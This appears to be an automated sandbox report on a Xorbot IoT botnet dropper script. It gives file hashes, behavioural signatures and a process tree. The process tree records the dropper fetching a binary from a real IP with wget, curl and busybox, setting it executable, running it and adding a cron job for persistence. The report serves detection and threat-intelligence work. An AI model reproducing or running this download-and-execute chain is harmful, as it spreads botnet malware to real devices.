Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02-12-2024 15:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    436845a459c71b19ac21070d4569df28

  • SHA1

    3ae505085c1bad8560b465ce273cbf1acf86e6da

  • SHA256

    703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8

  • SHA512

    82c2920b53776fa210d9c01eb1a2ec4a246466b3ffa34de150e6d1e42e1b4045f09e41cd774739dac237208a820cf1df7e9248576acf56ecd32735654c5a16e3

  • SSDEEP

    192:jo9H3HvHt2qYr7reSUZF6pRVLWW8qiSRVLWW+qiFH3HvHt2qKr7reSwk:jo9XPtF6yqihqiFXPU

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1746) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/chmod
          chmod 777 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • File and Directory Permissions Modification
          PID:1515
        • /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          ./l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1516
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1518
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1519
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1520
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1521
              • /bin/rm
                rm l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
                2⤵
                  PID:1523
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
                  2⤵
                    PID:1526

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                • /var/spool/cron/crontabs/tmp.bUYVcA

                  Filesize

                  210B

                  MD5

                  5e5dc02dc51cb1d684b9a0185924ab84

                  SHA1

                  f5407d4973b9355587cdf9e46b3c9d06d1a79653

                  SHA256

                  9fdb404f7bcb45d6466b6ef11199b40ce8e77788b942ccae5caff77ca2cc3cff

                  SHA512

                  3c1c7b9a6db94510bdaab9e13ed3d923c2e173ce9f076a26c4be0d4decb697ff3e4b7df8133955f6deaf053c941df5742d0a50dcbc3b90b057295ae442fdb26c